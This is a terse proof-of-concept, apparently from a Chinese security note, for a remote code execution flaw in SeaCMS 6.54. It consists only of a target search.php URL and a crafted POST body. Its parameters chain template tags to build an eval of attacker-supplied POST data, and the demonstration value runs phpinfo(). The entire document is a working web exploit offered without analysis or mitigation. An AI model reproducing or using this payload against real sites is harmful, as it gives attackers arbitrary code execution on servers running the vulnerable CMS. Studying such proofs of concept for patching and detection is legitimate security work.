Seacms6.54 远程代码执行漏洞

POC

http://192.168.0.6/seacms654/search.php
POST：
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST9))&9=ph&9=pinfo();